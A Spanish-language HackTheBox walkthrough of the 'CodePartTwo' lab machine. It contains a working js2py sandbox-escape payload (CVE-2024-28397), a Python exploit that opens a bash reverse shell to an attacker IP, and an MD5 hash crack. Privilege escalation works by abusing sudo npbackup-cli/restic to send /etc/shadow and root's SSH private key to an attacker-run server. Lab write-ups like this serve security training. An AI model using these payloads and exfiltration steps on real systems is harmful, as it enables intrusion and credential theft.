CodePartTwo HackTheBox (Easy)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 10:04 EDT
Nmap scan report for 10.10.11.82
Host is up (0.032s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.98 seconds

Veremos varios puertos interesantes, entre ellos el puerto 8000 que contiene una pagina web por lo que podemos ver, por lo que vamos a entrar dentro del mismo.

Dentro veremos una pagina web normal y corriente, no veremos nada interesante, pero si le damos a Download App veremos que nos descarga un zip llamado app.zip, si lo descomprimimos veremos la siguiente arquitectura de carpetas:

total 28
drwxrwxr-x 5 root root 4096 Sep  1 09:33 .
drwxr-xr-x 3 root root 4096 Sep 19 10:08 ..
-rw-r--r-- 1 root root 3679 Sep  1 09:33 app.py
drwxrwxr-x 2 root root 4096 Jan 16  2025 instance
-rw-rw-r-- 1 root root   49 Jan 16  2025 requirements.txt
drwxr-xr-x 4 root root 4096 Oct 26  2024 static
drwxr-xr-x 2 root root 4096 Sep  1 09:32 templates

Veremos que la pagina es un servidor de python3 con Flask u otro tipo de libreria, por lo que vemos tambien es un dump de la propia pagina, vamos a investigar mas a fondo a ver que encontramos ya que podremos ver el codigo fuente de la pagina y con ello ver alguna vulnerabilidad.

app.py

from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json

js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3PartTw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password_hash = db.Column(db.String(128), nullable=False)

class CodeSnippet(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    code = db.Column(db.Text, nullable=False)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/dashboard')
def dashboard():
    if 'user_id' in session:
        user_codes = CodeSnippet.query.filter_by(user_id=session['user_id']).all()
        return render_template('dashboard.html', codes=user_codes)
    return redirect(url_for('login'))

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        password_hash = hashlib.md5(password.encode()).hexdigest()
        new_user = User(username=username, password_hash=password_hash)
        db.session.add(new_user)
        db.session.commit()
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        password_hash = hashlib.md5(password.encode()).hexdigest()
        user = User.query.filter_by(username=username, password_hash=password_hash).first()
        if user:
            session['user_id'] = user.id
            session['username'] = username;
            return redirect(url_for('dashboard'))
        return "Invalid credentials"
    return render_template('login.html')

@app.route('/logout')
def logout():
    session.pop('user_id', None)
    return redirect(url_for('index'))

@app.route('/save_code', methods=['POST'])
def save_code():
    if 'user_id' in session:
        code = request.json.get('code')
        new_code = CodeSnippet(user_id=session['user_id'], code=code)
        db.session.add(new_code)
        db.session.commit()
        return jsonify({"message": "Code saved successfully"})
    return jsonify({"error": "User not logged in"}), 401

@app.route('/download')
def download():
    return send_from_directory(directory='/home/app/app/static/', path='app.zip', as_attachment=True)

@app.route('/delete_code/<int:code_id>', methods=['POST'])
def delete_code(code_id):
    if 'user_id' in session:
        code = CodeSnippet.query.get(code_id)
        if code and code.user_id == session['user_id']:
            db.session.delete(code)
            db.session.commit()
            return jsonify({"message": "Code deleted successfully"})
        return jsonify({"error": "Code not found"}), 404
    return jsonify({"error": "User not logged in"}), 401

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

if __name__ == '__main__':
    with app.app_context():
        db.create_all()
    app.run(host='0.0.0.0', debug=True)

Vemos que hay una vulnerabilidad en la version de una libreria llamada js2py en el requirements.txt:

flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74

Si empezamos a buscar informacion de dicha vulnerabilidad, veremos el siguiente CVE:

URL = js2py 0.74 CVE-2024-28397

Por lo que vemos se puede realizar un RCE mediante codigo de JS, por lo que vamos a registrarnos en la pagina ya que podemos, y despues una vez autenticados veremos lo siguiente:

Vemos que podemos ejecutar codigo de JS y todo lo que ejecutemos se muestra en un output mas abajo, tambien podemos guardar el codigo, por lo que vamos aprovechar dicha vulnerabilidad para pegar el siguiente codigo:

var cmd = "bash -c \"wget http://<IP>/\"";
var a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
var obj = a(a(a, "__class__"), "__base__");

function findpopen(o) {
    for (var i in o.__subclasses__()) {
        var item = o.__subclasses__()[i];
        if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
        if (item.__name__ != "type") {
            var result = findpopen(item);
            if (result) {
                return result;
            }
        }
    }
    return null;
}

var popen_class = findpopen(obj);
if (popen_class) {
    var result = popen_class(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
    result;
} else {
    "No se encontró Popen";
}

Con esto en la pagina vamos a probar que realmente se estan ejecutando comandos, por lo que vamos abrir un servidor de python3:

python3 -m http.server 80

Y ahora si le damos a Run Command veremos esto en la pagina:

Error: 'NoneType' object is not callable

Pero si volvemos a donde tenemos el servidor de python3:

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.82 - - [19/Sep/2025 11:09:57] "GET / HTTP/1.1" 200 -

Veremos que ha funcionado realmente por detras, por lo que vamos a crear un exploit para ejecutarlo y que nos proporcione una reverse shell de esta forma:

exploit.py

import requests
import json

# CONFIGURACIÓN - MODIFICA ESTOS VALORES
TARGET_URL = 'http://<IP>:8000'           # URL del servidor vulnerable
ATTACKER_IP = '<IP_ATTACKER>'             # Tu IP de atacante
ATTACKER_PORT = '<PORT>'                  # Puerto para la reverse shell

# Comando para reverse shell (bash)
reverse_shell_cmd = f'bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1'

# Codificar en base64 para evitar problemas de comillas
import base64
encoded_cmd = base64.b64encode(reverse_shell_cmd.encode()).decode()
final_cmd = f'echo {encoded_cmd} | base64 -d | bash'

# Código JavaScript que se ejecutará en el servidor
js_code = f"""
var cmd = "{final_cmd}";
var a = Object.getOwnPropertyNames({{}}).__class__.__base__.__getattribute__;
var obj = a(a(a, "__class__"), "__base__");

function findpopen(o) {{
    for (var i in o.__subclasses__()) {{
        var item = o.__subclasses__()[i];
        if (item.__module__ == "subprocess" && item.__name__ == "Popen") {{
            return item;
        }}
        if (item.__name__ != "type") {{
            var result = findpopen(item);
            if (result) {{
                return result;
            }}
        }}
    }}
    return null;
}}

var popen_class = findpopen(obj);
if (popen_class) {{
    var result = popen_class(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
    result;
}} else {{
    "No se encontró Popen";
}}
"""

# Preparar y enviar la solicitud
url = f'{TARGET_URL}/run_code'
payload = {"code": js_code}
headers = {"Content-Type": "application/json"}

print(f"[+] Enviando payload a {TARGET_URL}")
print(f"[+] Reverse shell hacia {ATTACKER_IP}:{ATTACKER_PORT}")
print(f"[+] Comando: {reverse_shell_cmd}")

try:
    r = requests.post(url, data=json.dumps(payload), headers=headers, timeout=10)
    print(f"[+] Respuesta del servidor: {r.status_code}")
    print(f"[+] Contenido: {r.text}")
except requests.exceptions.RequestException as e:
    print(f"[-] Error de conexión: {e}")
except Exception as e:
    print(f"[-] Error inesperado: {e}")

Vamos a ponernos a la escucha antes de ejecutarlo:

nc -lvnp <PORT>

Ahora vamos a ejecutarlo de esta forma:

python3 exploit.py

Info:

[+] Enviando payload a http://10.10.11.82:8000
[+] Reverse shell hacia 10.10.14.85:7755
[+] Comando: bash -i >& /dev/tcp/10.10.14.85/7755 0>&1
[-] Error de conexión: HTTPConnectionPool(host='10.10.11.82', port=8000): Read timed out. (read timeout=10)

Si volvemos a donde tenemos la escucha:

listening on [any] 7755 ...
connect to [10.10.14.85] from (UNKNOWN) [10.10.11.82] 39374
bash: cannot set terminal process group (876): Inappropriate ioctl for device
bash: no job control in this shell
app@codeparttwo:~/app$ whoami
whoami
app

Veremos que ha funcionado, por lo que vamos a sanitizar la shell.

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate user marco

Si recordamos anteriormente en el codigo de app.py vimos esta linea:

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'

Por lo que vamos a realizar una busqueda de users.db a ver que vemos:

find / -name "users.db" 2>/dev/null

Info:

/home/app/app/instance/users.db

Vamos a intentar leerlo con sqlite3 de esta forma:

sqlite3 /home/app/app/instance/users.db

Dentro de la herramienta con dicho archivo listamos las tablas que pueda tener:

.tables

Info:

code_snippet  user

Vamos a ver la informacion de user que es la mas interesante:

select * from user;

Info:

1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
3|ezboi|726fc2abe79d325c745210240c13dd89

Veremos cosas interesantes entre ellas el usuario marco con su contraseña hasheada, como vemos que existe a nivel de sistema, vamos a probar a crackear dicha contraseña de marco.

hash

marco:649c9d65a206a75f5abe509fe128bce5

Ahora con john haremos lo siguiente:

john --format=Raw-MD5 --wordlist=<WORDLIST> hash

Info:

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
sweetangelbabylove (marco)     
1g 0:00:00:00 DONE (2025-09-19 11:35) 7.142g/s 24633Kp/s 24633Kc/s 24633KC/s sweetart098..sweetali786
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Veremos que ha funcionado, por lo que vamos a probar dichas credenciales por SSH a ver si funcionaran:

SSH

ssh marco@<IP>

Metemos como contraseña sweetangelbabylove...

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri 19 Sep 2025 03:35:41 PM UTC

  System load:           0.02
  Usage of /:            58.8% of 5.08GB
  Memory usage:          35%
  Swap usage:            0%
  Processes:             241
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.82
  IPv6 address for eth0: dead:beef::250:56ff:fe94:768a


Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Sep 19 15:35:41 2025 from 10.10.14.85
marco@codeparttwo:~$ whoami
marco

Con esto veremos que estamos dentro, por lo que leeremos la flag del usuario.

user.txt

7c6df9aebd2547bb817bab2e419db71e

Escalate Privileges

Si vemos con el id de que grupo somos, veremos lo siguiente:

uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups)

Veremos que pertenecemos al grupo llamado backups, si listamos el /opt veremos esta carpeta que pertenece a dicho grupo:

drwxr-x---  2 root backups 4096 Apr  6 00:07 npbackup-cli

No veremos nada interesante, si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

Vemos que podemos ejecutar el binario npbackup-cli como el usuario root, por lo que vamos a investigar que hacer dicho binario.

Vemos que hay un archivo de configuracion bastante interesante en esta ruta:

-rw-rw-r-- 1 root root 2893 Jun 18 11:16 /home/marco/npbackup.conf

Si nosotros cargamos dicho archivo de configuracion con el binario con el que podemos ejecutar como sudo para probar a ejecutar comandos, veremos lo siguiente:

sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf --raw "whoami"

Info:

2025-09-19 16:08:39,839 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-09-19 16:08:39,868 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
2025-09-19 16:08:39,878 :: INFO :: Running raw command: whoami
unknown command "whoami" for "restic"
2025-09-19 16:08:41,253 :: ERROR :: unknown command "whoami" for "restic"

2025-09-19 16:08:41,254 :: ERROR :: Raw command failed:
unknown command "whoami" for "restic"

2025-09-19 16:08:41,254 :: INFO :: Runner took 1.376973 seconds for raw
2025-09-19 16:08:41,255 :: ERROR :: Backend finished with errors.
2025-09-19 16:08:41,255 :: ERROR :: Operation finished
2025-09-19 16:08:41,261 :: INFO :: ExecTime = 0:00:01.424338, finished, state is: errors.

Vemos que por detras esta utilizando el binario restic, y como se esta ejecutando como sudo, si buscamos en GTFOBins veremos lo siguiente:

URL = GTFOBins restic

Vemos que se puede ejecutar como sudo sin que pierda los privilegios del mismo, por lo que podremos realizar un backup de cualquier archivo gracias a restic y que se esta ejecutando como root, pero para ello tendremos que establecer un repo como servidor donde queremos mandarnos dicho backup, esto es parecido a la maquina artificial de HTB.

Vamos a inicializar un repositorio y un servidor de restic en nuestra maquina atacante de esta forma:

go install github.com/restic/rest-server/cmd/rest-server@latest
export PATH=$PATH:$(go env GOPATH)/bin
mkdir /opt/restic-repos
rest-server --path /opt/restic-repos --no-auth --listen :6666

Info:

Data directory: /opt/restic-repos
Authentication disabled
Append only mode disabled
Private repositories disabled
Group accessible repos disabled
start server on [::]:6666

Con esto ya vamos a tener nuestro servidor a la escucha, ahora vamos a inicializar un repo en dicho servidor de dicha ruta establecida:

snap install restic --classic
/snap/bin/restic init -r "rest:http://<IP>:6666/Pwn3d"

Metemos como contraseña lo que queramos, en mi caso puse diseo y con esto se nos creara nuestro repo llamado Pwn3d, ahora desde la maquina victima nos vamos a pasar el archivo /etc/shadow.

Primero como el repo va con contraseña, vamos a crear un archivo con la contraseña en texto plano para posteriormente pasarsela a la herramienta:

echo "diseo" | tee /tmp/restic-password > /dev/null
chmod 777 /tmp/restic-password

Ahora habiendo creado este archivo, vamos a utilizarlo como contraseña para realizar la conexion a nuestro servidor del atacante y que nos realice un backup del archivo shadow de esta forma:

sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf --raw "backup -r 'rest:http://<IP_ATTACKER>:6666/Pwn3d' --password-file /tmp/restic-password /etc/shadow"

Info:

2025-09-19 16:29:01,251 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-09-19 16:29:01,282 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
2025-09-19 16:29:01,294 :: INFO :: Running raw command: backup -r 'rest:http://10.10.14.85:6666/Pwn3d' --password-file /tmp/restic-password /etc/shadow
no parent snapshot found, will read all files

Files:           1 new,     0 changed,     0 unmodified
Dirs:            1 new,     0 changed,     0 unmodified
Added to the repository: 2.027 KiB (1.210 KiB stored)

processed 1 files, 1.339 KiB in 0:00
snapshot 8ba0bb36 saved
2025-09-19 16:29:04,211 :: INFO :: Successfully run raw command:
no parent snapshot found, will read all files

Files:           1 new,     0 changed,     0 unmodified
Dirs:            1 new,     0 changed,     0 unmodified
Added to the repository: 2.027 KiB (1.210 KiB stored)

processed 1 files, 1.339 KiB in 0:00
snapshot 8ba0bb36 saved

2025-09-19 16:29:04,212 :: INFO :: Runner took 2.919008 seconds for raw
2025-09-19 16:29:04,212 :: INFO :: Operation finished
2025-09-19 16:29:04,219 :: INFO :: ExecTime = 0:00:02.970154, finished, state is: success.

Ahora vamos a comprobar las snapshots a ver si nos llego bien, en la maquina atacante haremos lo siguiente:

/snap/bin/restic -r "rest:http://<IP>:6666/Pwn3d" snapshots

Metemos la contraseña establecida del repo....

Info:

repository adeef797 opened (repository version 2) successfully, password is correct
ID        Time                 Host         Tags        Paths
-------------------------------------------------------------------
8ba0bb36  2025-09-19 12:29:02  codeparttwo              /etc/shadow
-------------------------------------------------------------------
1 snapshots

Con esto vemos que ha funcionado, por lo que vamos a exportarlo para verlo en texto plano y ver que realmente es el archivo de la maquina victima.

/snap/bin/restic -r "rest:http://<IP>:6666/Pwn3d" restore 8ba0bb36 --include /etc/shadow --target /tmp

Info:

repository adeef797 opened (repository version 2) successfully, password is correct
restoring <Snapshot 8ba0bb36 of [/etc/shadow] at 2025-09-19 16:29:02.381437431 +0000 UTC by root@codeparttwo> to /tmp

Ahora vamos a leerlo de esta forma:

cat /tmp/etc/shadow

Info:

root:$6$UM1RuabUYlt5BQ5q$ZtzAfYOaCaFxA8MGbyH1hegFpzQmJrpIkx7vEIKvXoVl830AXAx1Hgh8r11GlpXgY25LK8wF76nvQYQ1wLSn71:20104:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
lp:*:19430:0:99999:7:::
mail:*:19430:0:99999:7:::
news:*:19430:0:99999:7:::
uucp:*:19430:0:99999:7:::
proxy:*:19430:0:99999:7:::
www-data:*:19430:0:99999:7:::
backup:*:19430:0:99999:7:::
list:*:19430:0:99999:7:::
irc:*:19430:0:99999:7:::
gnats:*:19430:0:99999:7:::
nobody:*:19430:0:99999:7:::
systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
messagebus:*:19430:0:99999:7:::
syslog:*:19430:0:99999:7:::
_apt:*:19430:0:99999:7:::
tss:*:19430:0:99999:7:::
uuidd:*:19430:0:99999:7:::
tcpdump:*:19430:0:99999:7:::
landscape:*:19430:0:99999:7:::
pollinate:*:19430:0:99999:7:::
fwupd-refresh:*:19430:0:99999:7:::
usbmux:*:20010:0:99999:7:::
sshd:*:20010:0:99999:7:::
systemd-coredump:!!:20016::::::
marco:$6$i5xRI7UVqeBITIby$NQKHXVvAWz7Vl3QkEwgxw0ItF9Lwen4gGCBi.YYiDQTdkgcPABaqfmBzheAM/9JA/9J7szqDzPaIDbkNqc.0V.:20022:0:99999:7:::
lxd:!:20016::::::
app:$6$5iH3Zik78QR8t9Se$bgRAig/YjbMzwOTFME629sLrrTn2avVD9pLFwz0X2zBTz0LYfNIEuw6w5s53NNu2K7IeEJK4D6j9PB6SR.UvC0:20022:0:99999:7:::
mysql:!:20026:0:99999:7:::
_laurel:!:20256::::::

Vemos que efectivamente ha funcionado, por lo que vamos a probar a obtener la clave PEM del usuario root a ver si existiera, haciendo el mismo proceso anterior.

sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf --raw "backup -r 'rest:http://<IP>:6666/Pwn3d' --password-file /tmp/restic-password /root/.ssh/id_rsa"

Info:

2025-09-19 16:39:24,343 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-09-19 16:39:24,375 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
2025-09-19 16:39:24,386 :: INFO :: Running raw command: backup -r 'rest:http://10.10.14.85:6666/Pwn3d' --password-file /tmp/restic-password /root/.ssh/id_rsa
no parent snapshot found, will read all files

Files:           1 new,     0 changed,     0 unmodified
Dirs:            2 new,     0 changed,     0 unmodified
Added to the repository: 3.570 KiB (3.470 KiB stored)

processed 1 files, 2.541 KiB in 0:00
snapshot f17a625d saved
2025-09-19 16:39:27,431 :: INFO :: Successfully run raw command:
no parent snapshot found, will read all files

Files:           1 new,     0 changed,     0 unmodified
Dirs:            2 new,     0 changed,     0 unmodified
Added to the repository: 3.570 KiB (3.470 KiB stored)

processed 1 files, 2.541 KiB in 0:00
snapshot f17a625d saved

2025-09-19 16:39:27,433 :: INFO :: Runner took 3.047177 seconds for raw
2025-09-19 16:39:27,433 :: INFO :: Operation finished
2025-09-19 16:39:27,439 :: INFO :: ExecTime = 0:00:03.098817, finished, state is: success.

Veremos que aparentemente si ha funcionado, por lo que vamos a ver las snapshots y exportarlo para ver dicho archivo.

/snap/bin/restic -r "rest:http://<IP>:6666/Pwn3d" snapshots

Info:

repository adeef797 opened (repository version 2) successfully, password is correct
ID        Time                 Host         Tags        Paths
-------------------------------------------------------------------------
8ba0bb36  2025-09-19 12:29:02  codeparttwo              /etc/shadow
f17a625d  2025-09-19 12:39:25  codeparttwo              /root/.ssh/id_rsa
-------------------------------------------------------------------------
2 snapshots

Veremos que nos llego bien, ahora vamos a exportarlo:

/snap/bin/restic -r "rest:http://<IP>:6666/Pwn3d" restore f17a625d --include /root/.ssh/id_rsa --target /tmp

Info:

repository adeef797 opened (repository version 2) successfully, password is correct
restoring <Snapshot f17a625d of [/root/.ssh/id_rsa] at 2025-09-19 16:39:25.522790289 +0000 UTC by root@codeparttwo> to /tmp

Ahora vamos a leer dicho archivo a ver si todo fue bien:

cat /tmp/root/.ssh/id_rsa

Info:

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Veremos que ha funcionado, vamos a utilizar dicha clave para conectarnos con el usuario root, por SSH de esta forma:

SSH

chmod 600 id_rsa
ssh -i id_rsa root@<IP>

Info:

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri 19 Sep 2025 04:44:21 PM UTC

  System load:           0.0
  Usage of /:            57.6% of 5.08GB
  Memory usage:          23%
  Swap usage:            0%
  Processes:             228
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.82
  IPv6 address for eth0: dead:beef::250:56ff:fe94:2fdc


Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Sep 19 16:44:21 2025 from 10.10.14.85
root@codeparttwo:~# whoami
root

Veremos que ya seremos el usuario root, por lo que leeremos la flag de root.

root.txt

b0b3c7dd5f13d2f4eb09180411c8bc10

Last updated